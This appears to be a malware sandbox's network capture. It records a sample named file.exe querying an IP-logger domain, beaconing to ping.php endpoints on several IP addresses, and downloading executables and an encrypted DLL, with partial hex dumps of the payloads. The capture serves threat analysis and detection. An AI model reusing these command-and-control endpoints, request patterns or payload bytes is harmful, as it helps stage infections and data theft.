Oct 3, 2022 17:30:52.980379105 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:52.981610060 CEST	49702	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:53.007431984 CEST	80	49700	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:53.007595062 CEST	49700	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:53.008841038 CEST	80	49702	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:53.009032011 CEST	49702	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:53.012393951 CEST	49702	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:53.039925098 CEST	80	49702	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:53.548079967 CEST	80	49702	171.22.30.106	192.168.2.5
Oct 3, 2022 17:30:53.548346043 CEST	49702	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:55.958565950 CEST	49698	80	192.168.2.5	208.67.104.97
Oct 3, 2022 17:30:55.958852053 CEST	49702	80	192.168.2.5	171.22.30.106
Oct 3, 2022 17:30:55.958894968 CEST	49699	80	192.168.2.5	107.182.129.235

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2022 17:30:46.893327951 CEST	56894	53	192.168.2.5	8.8.8.8
Oct 3, 2022 17:30:46.912929058 CEST	53	56894	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2022 17:30:46.893327951 CEST	192.168.2.5	8.8.8.8	0x4d71	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2022 17:30:46.912929058 CEST	8.8.8.8	192.168.2.5	0x4d71	No error (0)	iplogger.org		148.251.234.83	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iplogger.org

208.67.104.97

85.31.46.167

107.182.129.235

171.22.30.106

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49701	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49693	208.67.104.97	80	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:29:56.561955929 CEST	0	OUT	GET /powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&substream=mixinte HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 208.67.104.97 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:29:58.568043947 CEST	0	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:29:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49694	85.31.46.167	80	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:29:59.693042994 CEST	1	OUT	GET /software.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: D Host: 85.31.46.167 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:29:59.721107960 CEST	3	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:29:59 GMT Server: Apache/2.4.41 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="dll"; Content-Transfer-Encoding: binary Content-Length: 242176 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo*{
Oct 3, 2022 17:29:59.721162081 CEST	4	IN	Data Raw: 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 02 7b 23 00 00 04 02 7b 1f 00 00 04 6f 70 00 00 0a 02 7b 1f 00 00 04 2c 0d 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 02 02 7b 21 00 00 04 6f 6f 00 00 0a 2a 1e 02 Data Ascii: "}!{!}{#{op{,{ oo{!oo{Bsu(v{#{#owox(+oy{,{ oo+{!oo(2z,{",{"o/(z((X[((
Oct 3, 2022 17:29:59.721191883 CEST	5	IN	Data Raw: 00 00 0a 2a 1e 02 7b 54 00 00 04 2a 22 02 03 7d 54 00 00 04 2a 32 02 7b 65 00 00 04 6f fb 00 00 0a 2a 36 02 7b 65 00 00 04 03 6f fc 00 00 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 Data Ascii: {T"}T2{eo6{eo{R2{coR}U{coo{Q"}Q2{cow~{coy}]so2{cosN{cop(2{dosN{dop({V*R}Vs(
Oct 3, 2022 17:29:59.721223116 CEST	6	IN	Data Raw: 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00 04 2a 4e 02 Data Ascii: {r"}r(0{s"}s{t"}t{u"}uN((((z,{v,{vo/((5"}xN{o9o<&{\|f}\|{{\|o2{o?*{o9(o@
Oct 3, 2022 17:29:59.721255064 CEST	8	IN	Data Raw: 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01 00 06 2a 1e 02 7b 9f 00 00 04 2a 1e 02 7b a0 00 00 04 2a 1e 02 7b a1 00 00 04 2a 22 02 03 7d a1 00 00 04 2a 1e 02 7b a2 00 00 04 2a 22 02 03 7d a2 00 00 04 2a 1e Data Ascii: p}rp}(({{{"}{"}{(dt%r2poeoftogz,{,{o/(rp}rp}sm}(}V}(}({*"}
Oct 3, 2022 17:29:59.721286058 CEST	9	IN	Data Raw: 00 04 02 28 da 01 00 06 2a 1e 02 7b d0 00 00 04 2a 3a 02 03 7d d0 00 00 04 02 28 da 01 00 06 2a f6 02 28 9a 00 00 0a 02 7b d7 00 00 04 6f 9a 00 00 0a 02 7b cd 00 00 04 18 5a 58 2f 1a 02 02 7b d7 00 00 04 6f 9a 00 00 0a 02 7b cd 00 00 04 19 5a 58 Data Ascii: ({:}(({o{ZX/{o{ZX((J{oooJ{oxo2{o6{o2{o\|6{o}2{o~6{o6{o&*v{rpo
Oct 3, 2022 17:29:59.721318007 CEST	11	IN	Data Raw: 02 00 06 2a 1e 02 7b 0b 01 00 04 2a 3a 02 03 7d 0b 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 0c 01 00 04 2a 32 02 7b 15 01 00 04 6f fb 00 00 0a 2a 5e 02 7b 15 01 00 04 02 7b 15 01 00 04 6f fb 00 00 0a 6f fc 00 00 0a 2a 3a 02 17 7d 0d 01 00 04 02 28 Data Ascii: {:}(m{2{o^{{oo:}(m:}(mJ{ooJ{oxo2{ob{oso(,(ooo(f(ooo(z,
Oct 3, 2022 17:29:59.721352100 CEST	12	IN	Data Raw: 00 00 0a 02 03 28 7a 00 00 0a 2a 3a 02 7b 30 01 00 04 02 14 6f 74 00 00 0a 2a 3a 02 7b 2f 01 00 04 02 14 6f 74 00 00 0a 2a 3a 02 7b 2e 01 00 04 02 14 6f 74 00 00 0a 2a 1e 02 7b 43 01 00 04 2a 52 02 03 7d 43 01 00 04 02 02 7b 43 01 00 04 28 29 00 Data Ascii: (z:{0ot:{/ot:{.ot{CR}C{C(){>2{Fox6{Fo{?r{>,{Eoo}?{@r{>-{Eoo}@B(({C(){A({B
Oct 3, 2022 17:29:59.721385956 CEST	13	IN	Data Raw: 78 01 00 04 2a 22 02 03 7d 78 01 00 04 2a 1e 02 7b 79 01 00 04 2a 22 02 03 7d 79 01 00 04 2a 1e 02 7b 7a 01 00 04 2a 22 02 03 7d 7a 01 00 04 2a 1e 02 7b 7b 01 00 04 2a 22 02 03 7d 7b 01 00 04 2a 1e 02 7b 7c 01 00 04 2a 22 02 03 7d 7c 01 00 04 2a Data Ascii: x"}x{y"}y{z"}z{{"}{{\|"}\|{}"}}{~"}~{"}{"}{"}{"}{"}("(w"?(y(}*2(
Oct 3, 2022 17:29:59.721417904 CEST	15	IN	Data Raw: 02 00 0a 02 28 e8 03 00 06 14 6f 51 02 00 0a 2a 1e 02 7b c7 01 00 04 2a 22 02 03 7d c7 01 00 04 2a 1e 02 7b c8 01 00 04 2a 22 02 03 7d c8 01 00 04 2a 1e 02 7b c9 01 00 04 2a 22 02 03 7d c9 01 00 04 2a 1e 02 28 fd 00 00 0a 2a c2 02 28 fd 00 00 0a Data Ascii: (oQ{"}{"}{"}(("?"""?""sR({"}{"}{"}{"}{"}{"}{"}*
Oct 3, 2022 17:29:59.748449087 CEST	16	IN	Data Raw: 28 7b 00 00 0a 6f 84 02 00 0a 73 85 02 00 0a 80 4c 02 00 04 7e 4c 02 00 04 2a 1a 7e 4d 02 00 04 2a 1e 02 80 4d 02 00 04 2a ae 7e 4e 02 00 04 2d 1e 72 2c 23 00 70 d0 5b 00 00 02 28 7b 00 00 0a 6f 84 02 00 0a 73 85 02 00 0a 80 4e 02 00 04 7e 4e 02 Data Ascii: ({osL~L~MM~N-r,#p[({osN~N~OO~P(Vs(t\P:(}Q.sT*0Gs}(( ,rps!z( ,rps!z}}
Oct 3, 2022 17:29:59.949419975 CEST	258	OUT	GET /software.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: E Host: 85.31.46.167 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:29:59.982002974 CEST	259	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:29:59 GMT Server: Apache/2.4.41 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="soft"; Content-Transfer-Encoding: binary Content-Length: 3947920 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f1 9a e4 ea 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 e4 14 00 00 0c 00 00 00 00 00 00 a6 02 15 00 00 20 00 00 00 20 15 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 15 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 02 15 00 4f 00 00 00 00 20 15 00 32 09 00 00 00 00 00 00 00 00 00 00 00 28 3c 00 90 15 00 00 00 40 15 00 0c 00 00 00 38 02 15 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac e2 14 00 00 20 00 00 00 e4 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 32 09 00 00 00 20 15 00 00 0a 00 00 00 e6 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 15 00 00 02 00 00 00 f0 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 02 15 00 00 00 00 00 48 00 00 00 02 00 05 00 68 81 00 00 40 45 00 00 01 00 00 00 54 00 00 06 a8 c6 00 00 90 3b 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0 @ ``TO 2(<@8 H.text `.rsrc2 @@.reloc@@BHh@ET;((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49698	208.67.104.97	80	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:30:23.099719048 CEST	4457	OUT	GET /powfhxhxcjzx/ping.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 208.67.104.97 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:24.871246099 CEST	4458	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49699	107.182.129.235	80	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2022 17:30:25.035912037 CEST	4458	OUT	GET /storage/ping.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 0 Host: 107.182.129.235 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:25.063242912 CEST	4459	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 17 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 55 77 55 6f 6f 6f 49 49 72 77 67 68 32 34 75 75 55 Data Ascii: UwUoooIIrwgh24uuU
Oct 3, 2022 17:30:25.112026930 CEST	4459	OUT	GET /storage/extension.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 107.182.129.235 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2022 17:30:25.139234066 CEST	4461	IN	HTTP/1.1 200 OK Date: Mon, 03 Oct 2022 15:30:25 GMT Server: Apache/2.4.41 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Transfer-Encoding: binary Content-Length: 94224 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: f9 f1 a9 b8 8b 6d 69 b2 02 e6 7d 3b a6 18 dc 46 22 cd 29 c1 54 8d 11 27 4b 3b 1b ff ec e2 4f bb 59 30 3a cd fb c8 c6 19 33 6a e8 b1 5c 17 49 6a ea 32 52 c5 89 50 17 fc 06 dd 43 07 19 e2 71 a9 7c d1 32 a8 0e fe be ec b3 69 52 32 57 f5 46 e8 b4 ab 43 3d 4d 55 b9 a4 16 cb 8b 9e 85 48 36 99 ea f5 41 e4 94 1a 97 d3 d7 40 7f fa 4f a6 63 1a 89 89 4d 87 78 38 ce 94 d2 e4 b0 4c ae e0 2d 20 c9 88 ab 62 96 84 7c 12 43 b2 c0 e7 8e a4 5a 7d a5 77 d7 94 2e d1 6c 1a 61 cd 61 54 b4 87 c2 a5 62 72 2c 19 c8 18 36 77 23 06 6a c2 50 d9 8c 6c 69 f4 88 3d fc b4 ca 1b 0e c0 6f ac 1e b2 92 93 cf ee 53 e9 7b ab eb 52 94 a4 e6 e4 2e 94 d9 d2 35 d5 a0 15 92 ec a7 23 3b 93 d0 94 82 04 2d fb d3 f1 e8 62 2b 19 e3 8b 47 28 90 3e cb 02 51 05 b9 e0 f5 a5 69 4e 7b 90 2b 79 0c 1d d0 5a 43 e7 ae 7a 33 73 45 cd f0 ae fa 54 0d d3 32 df 4a 10 84 ce 33 bf 39 55 d6 34 26 f6 b2 50 d4 e5 c7 c7 cb d7 b0 e1 89 22 77 49 fa a4 b9 cb e0 40 cb c3 b5 ae da 78 25 3e 90 be 44 0e d5 80 27 7a 09 5e fb 01 d3 d4 5e 28 bc 07 0d a4 87 4e 43 ca 5b 5b 6b d9 0a ba c8 f0 ff 95 eb ca 9c d2 56 5d 47 f1 d2 29 65 0f 7f b4 94 bf 60 c5 c5 d4 ea b1 07 18 ee 4b 2f 4c d0 55 6c 12 19 46 1f 15 22 8a ed 38 24 16 41 64 ef fa aa e4 3a 69 b5 67 a6 f4 30 81 64 db 0f d8 5b 2e a9 cf 54 22 6c 90 55 c0 4d 00 3d 17 30 b1 b0 ef 2c de d9 2c e7 99 83 6b 75 d4 57 2c c3 d1 f7 f9 f3 37 60 51 cf 46 69 3d 77 13 f9 e3 75 f1 dc 3a 8f 97 51 2d ca 52 a0 7d 30 1c c8 eb ac 4c ba ad 82 8f bd 6e c9 0a 1c 74 a4 6e 76 c0 1f eb 06 07 7a c3 c0 18 0c 65 9e e8 49 c0 43 00 01 b3 b6 d2 39 bf 56 8c 7e 31 2b 5b 5d 06 cb 9f 37 f5 04 af 78 51 1d e7 a4 f8 12 02 f6 b0 06 24 81 4c 00 1c 6f e9 65 51 c7 86 2f c8 62 c9 82 f8 5a 96 0c e4 de c1 e4 70 5d 96 3b 69 2a 29 d1 a6 bd 96 23 b9 62 ef 14 f0 25 31 95 ea 11 0d 8c db bf ec f8 40 a0 17 82 47 ff e1 5b 02 97 d9 b7 9b a6 85 0d 2f 00 63 ca 8e 5a 19 f7 ea 08 d1 81 f4 47 95 3a 0f a1 6e 90 a8 45 d3 69 08 4f af 9c 6f af 55 1e 42 c9 50 78 d3 de b2 de 0b 31 7b 2c 61 10 da cf f3 f6 23 6b cd ad 64 6a be ed 4c 34 cc 0f d2 7d da 64 3c 95 14 a4 a8 d5 d9 49 79 79 c4 a0 4a a7 fb 66 ee 57 c4 10 2c 5e 76 56 da 41 6f d4 4b d4 22 2b 4f 58 38 21 46 a7 02 f1 59 50 8b ea bd f5 75 b6 2d e6 ed 42 69 6b eb a5 5b e2 75 05 9b c1 26 57 74 bc 84 50 af f4 7f 6d cf 00 10 8e 5e 20 c8 9a c9 6b 7e e2 01 2e a3 90 6c fe d3 6f a6 7a 4d 56 1c 21 73 2e ed b6 68 80 f0 c3 7b 0f 6e 32 3b 7a d7 d9 cc 4b db 04 3f 53 c5 93 f4 2d 96 0d f9 65 57 e0 e0 ac cf 63 dc fa f2 1b e6 2d 56 dd 62 67 ff ff 39 da 49 c5 05 67 ba 78 fa 67 cb b7 ba ef 7d c3 27 e6 35 d2 c0 28 2a 50 b3 e8 b7 93 c8 4a 23 97 18 3a b5 49 53 b4 08 44 7d 8e 76 8a 97 c3 09 ea 9d 15 6a 4b 39 03 4c 51 46 aa 0f 00 Data Ascii: mi};F")T'K;OY0:3j\Ij2RPCq\|2iR2WFC=MUH6A@OcMx8L- b\|CZ}w.laaTbr,6w#jPli=oS{R.5#;-b+G(>QiN{+yZCz3sET2J39U4&P"wI@x%>D'z^^(NC[[kV]G)e`K/LUlF"8$Ad:ig0d[.T"lUM=0,,kuW,7`QFi=wu:Q-R}0LntnvzeIC9V~1+[]7xQ$LoeQ/bZp];i)#b%1@G[/cZG:nEiOoUBPx1{,a#kdjL4}d<IyyJfW,^vVAoK"+OX8!FYPu-Bik[u&WtPm^ k~.lozMV!s.h{n2;zK?S-eWc-Vbg9Igxg}'5(PJ#:ISD}vjK9LQF
Oct 3, 2022 17:30:25.139303923 CEST	4462	IN	Data Raw: 6f 4f 68 56 80 cb c2 29 e2 a1 68 c5 76 5e 2d 04 d2 46 81 ff 08 3c 8f 84 16 ba bb 56 68 88 31 b9 c0 b3 d7 21 97 b1 05 21 8b c0 0f 42 59 63 04 9a 43 3f 8b f4 44 32 04 a3 b3 c2 c1 32 d5 4b 28 a2 a0 36 f6 19 9a 1b 42 d5 15 bd 92 44 90 aa 61 79 b9 b8 Data Ascii: oOhV)hv^-F<Vh1!!BYcC?D22K(6BDay=\|'[1~YB:/A`=FKqTw-blBC:>e5.jNK=ZGj:V.:gP~tm~ "A1jNR[PX~LgT%
Oct 3, 2022 17:30:25.139328003 CEST	4463	IN	Data Raw: 20 2f b2 fc fb 3b 22 62 e0 b2 2f c2 80 40 84 cb 02 1f 37 3d 0d 0c 1a 55 11 be 34 89 65 ce bc 3a 9c 5c 05 87 3d bb e8 1a 84 38 46 23 32 4d fc be ea 80 62 5b 19 72 10 35 1e b7 8a 98 4d a2 eb 87 6c 74 d4 1d e4 9d 35 68 f5 a9 e5 08 ea 2b 4d 6b 11 a1 Data Ascii: /;"b/@7=U4e:\=8F#2Mb[r5Mlt5h+Mk>eOk6wB!mMf@yHW0>GX\|2";J=MgPAqTW/j*qO}([=\|Dltn3)fF@}Mr
Oct 3, 2022 17:30:25.139405012 CEST	4465	IN	Data Raw: a7 85 09 11 e8 87 fa 45 9c 6e e3 22 3a 8b 3a 37 cb 18 c6 c9 0c 95 19 a5 fd b0 6a 49 fe 1b fe ae 5a 87 a0 39 48 bd 07 52 c2 4c a3 6c d5 9e 43 04 16 b3 be ff 0d 7e 75 6b 76 df 83 39 76 49 20 81 05 f4 44 2b 77 e4 4d b2 06 16 49 eb 4f 6e 06 26 32 98 Data Ascii: En"::7jIZ9HRLlC~ukv9vI D+wMIOn&2wSCi-Mxyi=&{32cT[\wc70#q6F=hbB4P\U8BOpw0IZdET,.k]N{S!d*$;q,
